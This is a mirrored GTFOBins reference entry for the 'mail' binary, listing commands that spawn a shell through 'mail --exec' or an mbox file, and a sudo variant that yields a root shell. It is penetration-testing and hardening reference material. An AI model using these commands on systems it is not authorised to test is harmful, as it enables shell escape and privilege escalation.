mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
dd9f4269ed
Close #54.
16 lines
395 B
Markdown
16 lines
395 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- description: GNU version only.
|
|
code: mail --exec='!/bin/sh'
|
|
- description: This creates a valid Mbox file which may be required by the binary.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo "From nobody@localhost $(date)" > $TF
|
|
mail -f $TF
|
|
!/bin/sh
|
|
sudo:
|
|
- description: GNU version only.
|
|
code: sudo mail --exec='!/bin/sh'
|
|
---
|